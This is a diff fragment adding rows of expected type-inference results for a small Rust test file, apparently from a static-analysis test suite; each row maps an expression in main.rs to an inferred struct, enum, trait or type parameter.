+| main.rs:47:13:47:13 | x | A.T | main.rs:2:5:3:13 | struct S |
+| main.rs:47:17:49:9 | GenericThing::<...> {...} |  | main.rs:16:5:19:5 | struct GenericThing |
+| main.rs:47:17:49:9 | GenericThing::<...> {...} | A | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:47:17:49:9 | GenericThing::<...> {...} | A.T | main.rs:2:5:3:13 | struct S |
+| main.rs:48:16:48:33 | ...::MyNone(...) |  | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:48:16:48:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | struct S |
+| main.rs:50:26:50:26 | x |  | main.rs:16:5:19:5 | struct GenericThing |
+| main.rs:50:26:50:26 | x | A | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:50:26:50:26 | x | A.T | main.rs:2:5:3:13 | struct S |
+| main.rs:50:26:50:28 | x.a |  | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:50:26:50:28 | x.a | T | main.rs:2:5:3:13 | struct S |
+| main.rs:52:13:52:17 | mut x |  | main.rs:16:5:19:5 | struct GenericThing |
+| main.rs:52:13:52:17 | mut x | A | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:52:13:52:17 | mut x | A.T | main.rs:2:5:3:13 | struct S |
+| main.rs:52:21:54:9 | GenericThing {...} |  | main.rs:16:5:19:5 | struct GenericThing |
+| main.rs:52:21:54:9 | GenericThing {...} | A | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:52:21:54:9 | GenericThing {...} | A.T | main.rs:2:5:3:13 | struct S |
+| main.rs:53:16:53:33 | ...::MyNone(...) |  | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:53:16:53:33 | ...::MyNone(...) | T | main.rs:2:5:3:13 | struct S |
+| main.rs:56:13:56:13 | a |  | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:56:13:56:13 | a | T | main.rs:2:5:3:13 | struct S |
+| main.rs:56:30:56:30 | x |  | main.rs:16:5:19:5 | struct GenericThing |
+| main.rs:56:30:56:30 | x | A | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:56:30:56:30 | x | A.T | main.rs:2:5:3:13 | struct S |
+| main.rs:56:30:56:32 | x.a |  | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:56:30:56:32 | x.a | T | main.rs:2:5:3:13 | struct S |
+| main.rs:57:26:57:26 | a |  | main.rs:10:5:14:5 | enum MyOption |
+| main.rs:57:26:57:26 | a | T | main.rs:2:5:3:13 | struct S |
+| main.rs:70:19:70:22 | SelfParam |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:70:33:72:9 | { ... } |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:71:13:71:16 | self |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:74:19:74:22 | SelfParam |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:74:32:76:9 | { ... } |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:75:13:75:16 | self |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:79:23:84:5 | { ... } |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:81:13:81:13 | x |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:81:17:81:22 | Foo {...} |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:82:13:82:13 | y |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:82:20:82:25 | Foo {...} |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:83:9:83:9 | x |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:86:14:86:14 | x |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:86:22:86:22 | y |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:86:37:90:5 | { ... } |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:88:9:88:9 | x |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:88:9:88:14 | x.m1(...) |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:89:9:89:9 | y |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:89:9:89:14 | y.m2(...) |  | main.rs:67:5:67:21 | struct Foo |
+| main.rs:105:15:105:18 | SelfParam |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:105:15:105:18 | SelfParam | A | main.rs:99:5:100:14 | struct S1 |
+| main.rs:105:27:107:9 | { ... } |  | main.rs:99:5:100:14 | struct S1 |
+| main.rs:106:13:106:16 | self |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:106:13:106:16 | self | A | main.rs:99:5:100:14 | struct S1 |
+| main.rs:106:13:106:18 | self.a |  | main.rs:99:5:100:14 | struct S1 |
+| main.rs:111:15:111:18 | SelfParam |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:111:15:111:18 | SelfParam | A | main.rs:101:5:102:14 | struct S2 |
+| main.rs:111:29:113:9 | { ... } |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:111:29:113:9 | { ... } | A | main.rs:101:5:102:14 | struct S2 |
+| main.rs:112:13:112:30 | Self {...} |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:112:13:112:30 | Self {...} | A | main.rs:101:5:102:14 | struct S2 |
+| main.rs:112:23:112:26 | self |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:112:23:112:26 | self | A | main.rs:101:5:102:14 | struct S2 |
+| main.rs:112:23:112:28 | self.a |  | main.rs:101:5:102:14 | struct S2 |
+| main.rs:117:15:117:18 | SelfParam |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:117:15:117:18 | SelfParam | A | main.rs:116:10:116:10 | T |
+| main.rs:117:26:119:9 | { ... } |  | main.rs:116:10:116:10 | T |
+| main.rs:118:13:118:16 | self |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:118:13:118:16 | self | A | main.rs:116:10:116:10 | T |
+| main.rs:118:13:118:18 | self.a |  | main.rs:116:10:116:10 | T |
+| main.rs:123:13:123:13 | x |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:123:13:123:13 | x | A | main.rs:99:5:100:14 | struct S1 |
+| main.rs:123:17:123:33 | MyThing {...} |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:123:17:123:33 | MyThing {...} | A | main.rs:99:5:100:14 | struct S1 |
+| main.rs:123:30:123:31 | S1 |  | main.rs:99:5:100:14 | struct S1 |
+| main.rs:124:13:124:13 | y |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:124:13:124:13 | y | A | main.rs:101:5:102:14 | struct S2 |
+| main.rs:124:17:124:33 | MyThing {...} |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:124:17:124:33 | MyThing {...} | A | main.rs:101:5:102:14 | struct S2 |
+| main.rs:124:30:124:31 | S2 |  | main.rs:101:5:102:14 | struct S2 |
+| main.rs:127:26:127:26 | x |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:127:26:127:26 | x | A | main.rs:99:5:100:14 | struct S1 |
+| main.rs:127:26:127:28 | x.a |  | main.rs:99:5:100:14 | struct S1 |
+| main.rs:128:26:128:26 | y |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:128:26:128:26 | y | A | main.rs:101:5:102:14 | struct S2 |
+| main.rs:128:26:128:28 | y.a |  | main.rs:101:5:102:14 | struct S2 |
+| main.rs:130:26:130:26 | x |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:130:26:130:26 | x | A | main.rs:99:5:100:14 | struct S1 |
+| main.rs:131:26:131:26 | y |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:131:26:131:26 | y | A | main.rs:101:5:102:14 | struct S2 |
+| main.rs:133:13:133:13 | x |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:133:13:133:13 | x | A | main.rs:99:5:100:14 | struct S1 |
+| main.rs:133:17:133:33 | MyThing {...} |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:133:17:133:33 | MyThing {...} | A | main.rs:99:5:100:14 | struct S1 |
+| main.rs:133:30:133:31 | S1 |  | main.rs:99:5:100:14 | struct S1 |
+| main.rs:134:13:134:13 | y |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:134:13:134:13 | y | A | main.rs:101:5:102:14 | struct S2 |
+| main.rs:134:17:134:33 | MyThing {...} |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:134:17:134:33 | MyThing {...} | A | main.rs:101:5:102:14 | struct S2 |
+| main.rs:134:30:134:31 | S2 |  | main.rs:101:5:102:14 | struct S2 |
+| main.rs:136:26:136:26 | x |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:136:26:136:26 | x | A | main.rs:99:5:100:14 | struct S1 |
+| main.rs:136:26:136:31 | x.m2(...) |  | main.rs:99:5:100:14 | struct S1 |
+| main.rs:137:26:137:26 | y |  | main.rs:94:5:97:5 | struct MyThing |
+| main.rs:137:26:137:26 | y | A | main.rs:101:5:102:14 | struct S2 |
+| main.rs:137:26:137:31 | y.m2(...) |  | main.rs:101:5:102:14 | struct S2 |
+| main.rs:153:15:153:18 | SelfParam |  | main.rs:152:5:161:5 | trait MyTrait |
+| main.rs:153:15:153:18 | SelfParam | A | main.rs:152:19:152:19 | A |
+| main.rs:155:15:155:18 | SelfParam |  | main.rs:152:5:161:5 | trait MyTrait |
+| main.rs:155:15:155:18 | SelfParam | A | main.rs:152:19:152:19 | A |
+| main.rs:158:9:160:9 | { ... } |  | main.rs:152:5:161:5 | trait MyTrait |
+| main.rs:158:9:160:9 | { ... } | A | main.rs:152:19:152:19 | A |
+| main.rs:159:13:159:16 | self |  | main.rs:152:5:161:5 | trait MyTrait |
+| main.rs:159:13:159:16 | self | A | main.rs:152:19:152:19 | A |
+| main.rs:163:43:163:43 | x |  | main.rs:152:5:161:5 | trait MyTrait |
+| main.rs:163:43:163:43 | x |  | main.rs:163:26:163:40 | T2 |
+| main.rs:163:43:163:43 | x | A | main.rs:163:22:163:23 | T1 |
+| main.rs:163:56:165:5 | { ... } |  | main.rs:163:22:163:23 | T1 |
+| main.rs:164:9:164:9 | x |  | main.rs:152:5:161:5 | trait MyTrait |
+| main.rs:164:9:164:9 | x |  | main.rs:163:26:163:40 | T2 |
+| main.rs:164:9:164:9 | x | A | main.rs:163:22:163:23 | T1 |
+| main.rs:164:9:164:14 | x.m1(...) |  | main.rs:163:22:163:23 | T1 |
+| main.rs:168:15:168:18 | SelfParam |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:168:15:168:18 | SelfParam | A | main.rs:147:5:148:14 | struct S1 |
+| main.rs:168:27:170:9 | { ... } |  | main.rs:147:5:148:14 | struct S1 |
+| main.rs:169:13:169:16 | self |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:169:13:169:16 | self | A | main.rs:147:5:148:14 | struct S1 |
+| main.rs:169:13:169:18 | self.a |  | main.rs:147:5:148:14 | struct S1 |
+| main.rs:174:15:174:18 | SelfParam |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:174:15:174:18 | SelfParam | A | main.rs:149:5:150:14 | struct S2 |
+| main.rs:174:29:176:9 | { ... } |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:174:29:176:9 | { ... } | A | main.rs:149:5:150:14 | struct S2 |
+| main.rs:175:13:175:30 | Self {...} |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:175:13:175:30 | Self {...} | A | main.rs:149:5:150:14 | struct S2 |
+| main.rs:175:23:175:26 | self |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:175:23:175:26 | self | A | main.rs:149:5:150:14 | struct S2 |
+| main.rs:175:23:175:28 | self.a |  | main.rs:149:5:150:14 | struct S2 |
+| main.rs:180:13:180:13 | x |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:180:13:180:13 | x | A | main.rs:147:5:148:14 | struct S1 |
+| main.rs:180:17:180:33 | MyThing {...} |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:180:17:180:33 | MyThing {...} | A | main.rs:147:5:148:14 | struct S1 |
+| main.rs:180:30:180:31 | S1 |  | main.rs:147:5:148:14 | struct S1 |
+| main.rs:181:13:181:13 | y |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:181:13:181:13 | y | A | main.rs:149:5:150:14 | struct S2 |
+| main.rs:181:17:181:33 | MyThing {...} |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:181:17:181:33 | MyThing {...} | A | main.rs:149:5:150:14 | struct S2 |
+| main.rs:181:30:181:31 | S2 |  | main.rs:149:5:150:14 | struct S2 |
+| main.rs:183:26:183:26 | x |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:183:26:183:26 | x | A | main.rs:147:5:148:14 | struct S1 |
+| main.rs:184:26:184:26 | y |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:184:26:184:26 | y | A | main.rs:149:5:150:14 | struct S2 |
+| main.rs:186:13:186:13 | x |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:186:13:186:13 | x | A | main.rs:147:5:148:14 | struct S1 |
+| main.rs:186:17:186:33 | MyThing {...} |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:186:17:186:33 | MyThing {...} | A | main.rs:147:5:148:14 | struct S1 |
+| main.rs:186:30:186:31 | S1 |  | main.rs:147:5:148:14 | struct S1 |
+| main.rs:187:13:187:13 | y |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:187:13:187:13 | y | A | main.rs:149:5:150:14 | struct S2 |
+| main.rs:187:17:187:33 | MyThing {...} |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:187:17:187:33 | MyThing {...} | A | main.rs:149:5:150:14 | struct S2 |
+| main.rs:187:30:187:31 | S2 |  | main.rs:149:5:150:14 | struct S2 |
+| main.rs:189:40:189:40 | x |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:189:40:189:40 | x | A | main.rs:147:5:148:14 | struct S1 |
+| main.rs:190:40:190:40 | y |  | main.rs:142:5:145:5 | struct MyThing |
+| main.rs:190:40:190:40 | y | A | main.rs:149:5:150:14 | struct S2 |
+| main.rs:206:19:206:22 | SelfParam |  | main.rs:205:5:207:5 | trait FirstTrait |
+| main.rs:206:19:206:22 | SelfParam | FT | main.rs:205:22:205:23 | FT |
+| main.rs:210:19:210:22 | SelfParam |  | main.rs:209:5:211:5 | trait SecondTrait |
+| main.rs:210:19:210:22 | SelfParam | ST | main.rs:209:23:209:24 | ST |
+| main.rs:213:64:213:64 | x |  | main.rs:209:5:211:5 | trait SecondTrait |
+| main.rs:213:64:213:64 | x |  | main.rs:213:45:213:61 | T |
+| main.rs:213:64:213:64 | x | ST | main.rs:213:35:213:42 | I |
+| main.rs:215:13:215:14 | s1 |  | main.rs:213:35:213:42 | I |
+| main.rs:215:18:215:18 | x |  | main.rs:209:5:211:5 | trait SecondTrait |
+| main.rs:215:18:215:18 | x |  | main.rs:213:45:213:61 | T |
+| main.rs:215:18:215:18 | x | ST | main.rs:213:35:213:42 | I |
+| main.rs:215:18:215:27 | x.method(...) |  | main.rs:213:35:213:42 | I |
+| main.rs:216:26:216:27 | s1 |  | main.rs:213:35:213:42 | I |
+| main.rs:219:65:219:65 | x |  | main.rs:209:5:211:5 | trait SecondTrait |
+| main.rs:219:65:219:65 | x |  | main.rs:219:46:219:62 | T |
+| main.rs:219:65:219:65 | x | ST | main.rs:219:36:219:43 | I |
+| main.rs:221:13:221:14 | s2 |  | main.rs:219:36:219:43 | I |
+| main.rs:221:18:221:18 | x |  | main.rs:209:5:211:5 | trait SecondTrait |
+| main.rs:221:18:221:18 | x |  | main.rs:219:46:219:62 | T |
+| main.rs:221:18:221:18 | x | ST | main.rs:219:36:219:43 | I |
+| main.rs:221:18:221:27 | x.method(...) |  | main.rs:219:36:219:43 | I |
+| main.rs:222:26:222:27 | s2 |  | main.rs:219:36:219:43 | I |
+| main.rs:225:49:225:49 | x |  | main.rs:205:5:207:5 | trait FirstTrait |
+| main.rs:225:49:225:49 | x |  | main.rs:225:30:225:46 | T |
+| main.rs:225:49:225:49 | x | FT | main.rs:197:5:198:14 | struct S1 |
+| main.rs:226:13:226:13 | s |  | main.rs:197:5:198:14 | struct S1 |
+| main.rs:226:17:226:17 | x |  | main.rs:205:5:207:5 | trait FirstTrait |
+| main.rs:226:17:226:17 | x |  | main.rs:225:30:225:46 | T |
+| main.rs:226:17:226:17 | x | FT | main.rs:197:5:198:14 | struct S1 |
+| main.rs:226:17:226:26 | x.method(...) |  | main.rs:197:5:198:14 | struct S1 |
+| main.rs:227:26:227:26 | s |  | main.rs:197:5:198:14 | struct S1 |
+| main.rs:230:53:230:53 | x |  | main.rs:205:5:207:5 | trait FirstTrait |
+| main.rs:230:53:230:53 | x |  | main.rs:230:34:230:50 | T |
+| main.rs:230:53:230:53 | x | FT | main.rs:197:5:198:14 | struct S1 |
+| main.rs:231:13:231:13 | s |  | main.rs:197:5:198:14 | struct S1 |
+| main.rs:231:17:231:17 | x |  | main.rs:205:5:207:5 | trait FirstTrait |
+| main.rs:231:17:231:17 | x |  | main.rs:230:34:230:50 | T |
+| main.rs:231:17:231:17 | x | FT | main.rs:197:5:198:14 | struct S1 |
+| main.rs:231:17:231:26 | x.method(...) |  | main.rs:197:5:198:14 | struct S1 |
+| main.rs:232:26:232:26 | s |  | main.rs:197:5:198:14 | struct S1 |
+| main.rs:236:16:236:19 | SelfParam |  | main.rs:235:5:239:5 | trait Pair |
+| main.rs:236:16:236:19 | SelfParam | P1 | main.rs:235:16:235:17 | P1 |
+| main.rs:236:16:236:19 | SelfParam | P2 | main.rs:235:20:235:21 | P2 |
+| main.rs:238:16:238:19 | SelfParam |  | main.rs:235:5:239:5 | trait Pair |
+| main.rs:238:16:238:19 | SelfParam | P1 | main.rs:235:16:235:17 | P1 |
+| main.rs:238:16:238:19 | SelfParam | P2 | main.rs:235:20:235:21 | P2 |
+| main.rs:241:58:241:58 | x |  | main.rs:235:5:239:5 | trait Pair |
+| main.rs:241:58:241:58 | x |  | main.rs:241:41:241:55 | T |
+| main.rs:241:58:241:58 | x | P1 | main.rs:197:5:198:14 | struct S1 |
+| main.rs:241:58:241:58 | x | P2 | main.rs:200:5:201:14 | struct S2 |
+| main.rs:241:64:241:64 | y |  | main.rs:235:5:239:5 | trait Pair |
+| main.rs:241:64:241:64 | y |  | main.rs:241:41:241:55 | T |
+| main.rs:241:64:241:64 | y | P1 | main.rs:197:5:198:14 | struct S1 |
+| main.rs:241:64:241:64 | y | P2 | main.rs:200:5:201:14 | struct S2 |
+| main.rs:243:13:243:14 | s1 |  | main.rs:197:5:198:14 | struct S1 |
+| main.rs:243:18:243:18 | x |  | main.rs:235:5:239:5 | trait Pair |
+| main.rs:243:18:243:18 | x |  | main.rs:241:41:241:55 | T |
+| main.rs:243:18:243:18 | x | P1 | main.rs:197:5:198:14 | struct S1 |
+| main.rs:243:18:243:18 | x | P2 | main.rs:200:5:201:14 | struct S2 |
+| main.rs:243:18:243:24 | x.fst(...) |  | main.rs:197:5:198:14 | struct S1 |
+| main.rs:244:13:244:14 | s2 |  | main.rs:200:5:201:14 | struct S2 |
+| main.rs:244:18:244:18 | y |  | main.rs:235:5:239:5 | trait Pair |
+| main.rs:244:18:244:18 | y |  | main.rs:241:41:241:55 | T |
+| main.rs:244:18:244:18 | y | P1 | main.rs:197:5:198:14 | struct S1 |
+| main.rs:244:18:244:18 | y | P2 | main.rs:200:5:201:14 | struct S2 |
+| main.rs:244:18:244:24 | y.snd(...) |  | main.rs:200:5:201:14 | struct S2 |
+| main.rs:245:32:245:33 | s1 |  | main.rs:197:5:198:14 | struct S1 |
+| main.rs:245:36:245:37 | s2 |  | main.rs:200:5:201:14 | struct S2 |
+| main.rs:248:69:248:69 | x |  | main.rs:235:5:239:5 | trait Pair |
+| main.rs:248:69:248:69 | x |  | main.rs:248:52:248:66 | T |
+| main.rs:248:69:248:69 | x | P1 | main.rs:197:5:198:14 | struct S1 |
+| main.rs:248:69:248:69 | x | P2 | main.rs:248:41:248:49 | T2 |
+| main.rs:248:75:248:75 | y |  | main.rs:235:5:239:5 | trait Pair |
+| main.rs:248:75:248:75 | y |  | main.rs:248:52:248:66 | T |
+| main.rs:248:75:248:75 | y | P1 | main.rs:197:5:198:14 | struct S1 |
+| main.rs:248:75:248:75 | y | P2 | main.rs:248:41:248:49 | T2 |
+| main.rs:250:13:250:14 | s1 |  | main.rs:197:5:198:14 | struct S1 |
+| main.rs:250:18:250:18 | x |  | main.rs:235:5:239:5 | trait Pair |
+| main.rs:250:18:250:18 | x |  | main.rs:248:52:248:66 | T |
+| main.rs:250:18:250:18 | x | P1 | main.rs:197:5:198:14 | struct S1 |
+| main.rs:250:18:250:18 | x | P2 | main.rs:248:41:248:49 | T2 |
+| main.rs:250:18:250:24 | x.fst(...) |  | main.rs:197:5:198:14 | struct S1 |
+| main.rs:251:13:251:14 | s2 |  | main.rs:248:41:248:49 | T2 |
+| main.rs:251:18:251:18 | y |  | main.rs:235:5:239:5 | trait Pair |
+| main.rs:251:18:251:18 | y |  | main.rs:248:52:248:66 | T |
+| main.rs:251:18:251:18 | y | P1 | main.rs:197:5:198:14 | struct S1 |
+| main.rs:251:18:251:18 | y | P2 | main.rs:248:41:248:49 | T2 |
+| main.rs:251:18:251:24 | y.snd(...) |  | main.rs:248:41:248:49 | T2 |
+| main.rs:252:32:252:33 | s1 |  | main.rs:197:5:198:14 | struct S1 |
+| main.rs:252:36:252:37 | s2 |  | main.rs:248:41:248:49 | T2 |
+| main.rs:268:15:268:18 | SelfParam |  | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:268:15:268:18 | SelfParam | A | main.rs:267:19:267:19 | A |
+| main.rs:270:15:270:18 | SelfParam |  | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:270:15:270:18 | SelfParam | A | main.rs:267:19:267:19 | A |
+| main.rs:273:9:275:9 | { ... } |  | main.rs:267:19:267:19 | A |
+| main.rs:274:13:274:16 | self |  | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:274:13:274:16 | self | A | main.rs:267:19:267:19 | A |
+| main.rs:274:13:274:21 | self.m1(...) |  | main.rs:267:19:267:19 | A |
+| main.rs:279:43:279:43 | x |  | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:279:43:279:43 | x |  | main.rs:279:26:279:40 | T2 |
+| main.rs:279:43:279:43 | x | A | main.rs:279:22:279:23 | T1 |
+| main.rs:279:56:281:5 | { ... } |  | main.rs:279:22:279:23 | T1 |
+| main.rs:280:9:280:9 | x |  | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:280:9:280:9 | x |  | main.rs:279:26:279:40 | T2 |
+| main.rs:280:9:280:9 | x | A | main.rs:279:22:279:23 | T1 |
+| main.rs:280:9:280:14 | x.m1(...) |  | main.rs:279:22:279:23 | T1 |
+| main.rs:284:49:284:49 | x |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:284:49:284:49 | x | T | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:284:49:284:49 | x | T | main.rs:284:32:284:46 | T2 |
+| main.rs:284:49:284:49 | x | T.A | main.rs:284:28:284:29 | T1 |
+| main.rs:284:71:286:5 | { ... } |  | main.rs:284:28:284:29 | T1 |
+| main.rs:285:9:285:9 | x |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:285:9:285:9 | x | T | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:285:9:285:9 | x | T | main.rs:284:32:284:46 | T2 |
+| main.rs:285:9:285:9 | x | T.A | main.rs:284:28:284:29 | T1 |
+| main.rs:285:9:285:11 | x.a |  | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:285:9:285:11 | x.a |  | main.rs:284:32:284:46 | T2 |
+| main.rs:285:9:285:11 | x.a | A | main.rs:284:28:284:29 | T1 |
+| main.rs:285:9:285:16 | ... .m1(...) |  | main.rs:284:28:284:29 | T1 |
+| main.rs:289:15:289:18 | SelfParam |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:289:15:289:18 | SelfParam | T | main.rs:288:10:288:10 | T |
+| main.rs:289:26:291:9 | { ... } |  | main.rs:288:10:288:10 | T |
+| main.rs:290:13:290:16 | self |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:290:13:290:16 | self | T | main.rs:288:10:288:10 | T |
+| main.rs:290:13:290:18 | self.a |  | main.rs:288:10:288:10 | T |
+| main.rs:295:13:295:13 | x |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:295:13:295:13 | x | T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:295:17:295:33 | MyThing {...} |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:295:17:295:33 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:295:30:295:31 | S1 |  | main.rs:262:5:263:14 | struct S1 |
+| main.rs:296:13:296:13 | y |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:296:13:296:13 | y | T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:296:17:296:33 | MyThing {...} |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:296:17:296:33 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:296:30:296:31 | S2 |  | main.rs:264:5:265:14 | struct S2 |
+| main.rs:298:26:298:26 | x |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:298:26:298:26 | x | T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:298:26:298:31 | x.m1(...) |  | main.rs:262:5:263:14 | struct S1 |
+| main.rs:299:26:299:26 | y |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:299:26:299:26 | y | T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:299:26:299:31 | y.m1(...) |  | main.rs:264:5:265:14 | struct S2 |
+| main.rs:301:13:301:13 | x |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:301:13:301:13 | x |  | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:301:13:301:13 | x | A | main.rs:262:5:263:14 | struct S1 |
+| main.rs:301:13:301:13 | x | T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:301:17:301:33 | MyThing {...} |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:301:17:301:33 | MyThing {...} |  | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:301:17:301:33 | MyThing {...} | A | main.rs:262:5:263:14 | struct S1 |
+| main.rs:301:17:301:33 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:301:30:301:31 | S1 |  | main.rs:262:5:263:14 | struct S1 |
+| main.rs:302:13:302:13 | y |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:302:13:302:13 | y |  | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:302:13:302:13 | y | A | main.rs:264:5:265:14 | struct S2 |
+| main.rs:302:13:302:13 | y | T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:302:17:302:33 | MyThing {...} |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:302:17:302:33 | MyThing {...} |  | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:302:17:302:33 | MyThing {...} | A | main.rs:264:5:265:14 | struct S2 |
+| main.rs:302:17:302:33 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:302:30:302:31 | S2 |  | main.rs:264:5:265:14 | struct S2 |
+| main.rs:304:26:304:26 | x |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:304:26:304:26 | x |  | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:304:26:304:26 | x | A | main.rs:262:5:263:14 | struct S1 |
+| main.rs:304:26:304:26 | x | T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:304:26:304:31 | x.m2(...) |  | main.rs:262:5:263:14 | struct S1 |
+| main.rs:305:26:305:26 | y |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:305:26:305:26 | y |  | main.rs:267:5:276:5 | trait MyTrait |
+| main.rs:305:26:305:26 | y | A | main.rs:264:5:265:14 | struct S2 |
+| main.rs:305:26:305:26 | y | T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:305:26:305:31 | y.m2(...) |  | main.rs:264:5:265:14 | struct S2 |
+| main.rs:307:13:307:14 | x2 |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:307:13:307:14 | x2 | T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:307:18:307:34 | MyThing {...} |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:307:18:307:34 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:307:31:307:32 | S1 |  | main.rs:262:5:263:14 | struct S1 |
+| main.rs:308:13:308:14 | y2 |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:308:13:308:14 | y2 | T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:308:18:308:34 | MyThing {...} |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:308:18:308:34 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:308:31:308:32 | S2 |  | main.rs:264:5:265:14 | struct S2 |
+| main.rs:310:26:310:42 | call_trait_m1(...) |  | main.rs:262:5:263:14 | struct S1 |
+| main.rs:310:40:310:41 | x2 |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:310:40:310:41 | x2 | T | main.rs:262:5:263:14 | struct S1 |
+| main.rs:311:26:311:42 | call_trait_m1(...) |  | main.rs:264:5:265:14 | struct S2 |
+| main.rs:311:40:311:41 | y2 |  | main.rs:257:5:260:5 | struct MyThing |
+| main.rs:311:40:311:41 | y2 | T | main.rs:264:5:265:14 | struct S2 |
+| main.rs:313:13:313:14 | x3 |  | main.rs:257:5:260:5 | struct MyThing |
